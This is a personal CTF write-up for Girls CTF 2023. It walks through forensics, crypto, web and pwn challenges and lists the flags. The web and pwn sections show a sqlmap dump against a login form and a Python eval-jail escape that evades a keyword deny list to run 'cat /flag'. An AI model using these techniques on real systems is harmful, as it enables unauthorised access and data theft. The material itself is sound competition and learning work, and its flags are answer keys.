PLZ ENTER TEXT
📗 CTF Writeup

GCTF 2023 Writeup

date
Dec 16, 2023
slug
gctf23-ctrlf
author
status
Public
tags
GCTF
CTRL+F
CTF
summary
A brief writeup for GCTF 2023.
type
Post
thumbnail
GCTF2023.png
category
📗 CTF Writeup
updatedAt
Mar 3, 2025 06:37 PM
I recently participated in the Girls CTF 2023 with Hanan on 16 December. So here’s my full writeup for the module, hope you guys enjoy it!
ForensicsWireshark #1BrokenKBHistoryMiscFrequencyMaster Hidden Within the SlidesOfficeSplitterCryptoRSALayers of BasesDESWebSecretLoginPwnWarmupLevel 1Level 2

Forensics

Wireshark #1

notion image
  • Open the pcap file and filter for http
  • Right click and follow tcp stream
      • notion image
  • Observe the content and the flag is displayed
      • notion image
GCTF2023{fl4g_in_tcp_dump}

Broken

Because speed was important, I just threw the file into a tool that can repair PDFs:
https://www.ilovepdf.com/repair-pdf
GCTF2023{M3_4nd_my_Br0k3n_h3art}

KB

  • The Wireshark only has USB packets
  • Since the data length of the leftover capture data of a packet is 8 bytes, it is established that the data originates from a keyboard, with the keystroke at the 3rd byte
  • To extract the Leftover Capture Data field: tshark -r challenge.pcapng -T fields -e usb.capdata > usbdata.txt
  • The final indication:
      • 0a061709 → GCTF
      02 → Ignored
      1f271f22 → 2023
      02 → Ignored
      2f → {
      02 → Ignored
      1e11172015062013171e110a2d → 1NT3RC3PT1NG_
      02
      0e081c161715270e22 (It’s 20, Cyberchef aint correct so I reviewed it manually from here) → KEYSTR0K3
      02 → Ignored
      30 → }
      01 → Ignored
GCTF2023{1NT3RC3PT1NG_KEYSTR0K3}

History

Since the title is the hint, you just need to navigate to Google History:
/LogicalFileSet2/Challenge/AppData/Local/Google/Chrome/User Data/Default/History
GCTF2023{Chr0m1um_h1st0ry}

Misc

Frequency

Just perform wave spectrum analysis on the audio file given to obtain the flag
notion image
GCTF2023{this_fl4g_sounds_weirddddddd}

Master Hidden Within the Slides

False alarm: File > Info > Document Inspector
notion image
  • Can view invisible objects by going Home > Arrange > Selection Pane but turns out PowerPoint is just delulu
 
Since the title mentioned master slides, so if you viewed it, you can see a Base64 string:
notion image
 
Decoding it will get the flag:
GCTF{Sl1d3sss_M4staaaaaaa}

Office

  • Unhide sheet 3
  • Realize that when certain cells are hovered, they have a value of 1
  • Conditional formatting to quickly “colour” the cells with values
  • Adjust column width to 2
      • notion image
GCTF2023{F0rmatt1ng_c311s_t0_h1d3_inf0rm4t10n}

Splitter

  • Apparently the pictures are all in order
  • Just zoom in nicely in File Explorer
notion image
notion image
GCTF2023{JJK_SHIBUYA_ARK_IS_INSANE} ”Yes it was insane, RIP Nanami” - PLZ ENTER TEXT

Crypto

RSA

notion image
  • Given the file with the code snippet as displayed in the image below
      • notion image
  • Insert the given equation in the online decoder to perform automated decryption
      • notion image
GCTF2023{s1mpl3_RSA_n0_pr3ssur3}

Layers of Bases

Base45 → Base64 → Base45 → Base32
GCTF2023{L4y3rs_0f_3ncrypt10n}

DES

Since the question already mentioned the algorithm needed so 👀
openssl des-ede-cbc -d -a -pbkdf2 -in flag.enc -out flag.enc.new
  • Password: gctf2023
  • -d: Indicates that it’s a decryption
  • -a: Specifies that the input and output should be base64 encoded/decoded
  • -pbkdf2: Uses Password-Based Key Derivation Function 2 (PBKDF2) for key derivation
GCTF2023{Op3nSSL_3ncrypt1onnnnnnnnnnn}

Web

Secret

notion image
notion image
  • Check for robots.txt for the page
      • notion image
  • Hidden directory named /noOneG0nnaF1ndOut is then obtained, and an index page is then displayed with a file directory named flag
      • notion image
  • Click on the flag directory and the flag will then be obtained
      • notion image
GCTF{d0_n0t_forg3t_t0_ch3ck_robOt5_txt}

Login

  • Intercept request using BurpSuite
  • Change values in the form field to *
  • Save as item
  • Automate SQL wahoo: sqlmap -r login.req --batch --dump
GCTF2023{nu11_nu11_nul1_nu1l_0h_fl4g}

Pwn

Warmup

Managed to solve it to the end, did different codes as well, but no flag, and I’m pretty clueless about what else to do lol
“Ok after the CTF I realised I just had to compile all the answers together AAAAAAAAAAAAAAAAAA SAKIT HATIKU” - PLZ ENTER TEXT
Method 1:
import socket
import re

# Define the IP address and port to connect
ip_address = '167.172.74.195'
port = 8005

# Create a socket and connect to the server
bot = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
bot.connect((ip_address, port))

# Extract the question and calculate the answer
while True:

    data = bot.recv(1024).decode()
    print(data)

    if "bad?" in data:
        continue

    # Extract numbers from the equation
    numbers = re.findall(r'\d+', data)

    if numbers:
        # Convert the numbers to integers
        numbers = [int(num) for num in numbers]

        # Calculate the sum
        result = sum(numbers)

        # Print the result
        print(result)

        # Send the result back to the server
        bot.send(str(result).encode())
        bot.send("\n".encode())
        continue
    else:
        print(data)
    break
 
Method 2:
import socket
import re

# Define the IP address and port to connect
ip_address = '167.172.74.195'
port = 8005

# Create a socket and connect to the server
bot = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
bot.connect((ip_address, port))

# Extract the question and calculate the answer
while True:

    data = bot.recv(1024).decode()
    print(str.split(data))
    
    if "+" in str.split(data):

        # Extract numbers from the equation
        numbers = re.findall(r'\d+', data)

        # Convert the numbers to integers
        numbers = [int(num) for num in numbers]

        # Calculate the sum
        result = sum(numbers)

        # Print the result
        print(result)

        # Send the result back to the server
        bot.send(str(result).encode())
        bot.send("\n".encode())
        continue

    else:
        print(data)
        continue

    break

Level 1

Just do what it tells you to do: ('os').system('cat /flag')
GCTF2023{R3ady_P14y3r_On3!!}

Level 2

Source code:
#! /usr/bin/python3 -u

def main():
    print("""
  _                    _   ___  
 | |                  | | |__ \ 
 | |     _____   _____| |    ) |
 | |    / _ \ \ / / _ \ |   / / 
 | |___|  __/\ V /  __/ |  / /_ 
 |______\___| \_/ \___|_| |____|
                                """)
    print("Note: Flag at /flag")
    print("Can you bypass this?")

    while True:
        try:
            inp = input('>>> ')
            for jail in ['exec', 'eval', 'system', 'os', 'import', 'open', 'read', 'write']:
                if jail in inp:
                    raise Exception("You Shall Not Pass!")      
            print(eval(inp))
        except Exception as e:
            print(f"Error: {e}")

if __name__ == "__main__":
    main()
 
We can't run anything that has these keywords: 'exec', 'eval', 'system', 'os', 'import', 'open', 'read', 'write'
 
Python allows us to use built-in objects using the __builtins__ module: >>> dir(__builtins__)
 
Can be converted into a dict representation: >>> __builtins__.__dict__
 
Can access any function using: 
>>> __builtins__.__dict__['open']
<built-in function open>
 
However, it needs to be tweaked since it directly mentions the forbidden commands, hence we can do any sort of string operations on the input:
>>> print(__builtins__.__dict__['OPEN'.lower()])
<built-in function open>
 
Since that worked, we can do the same with import and run system inside the os’s module:
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('cat /flag')
GCTF2023{Lev3l_tw0_lessgoooooo_g00d_luck_at_l3v3l_3}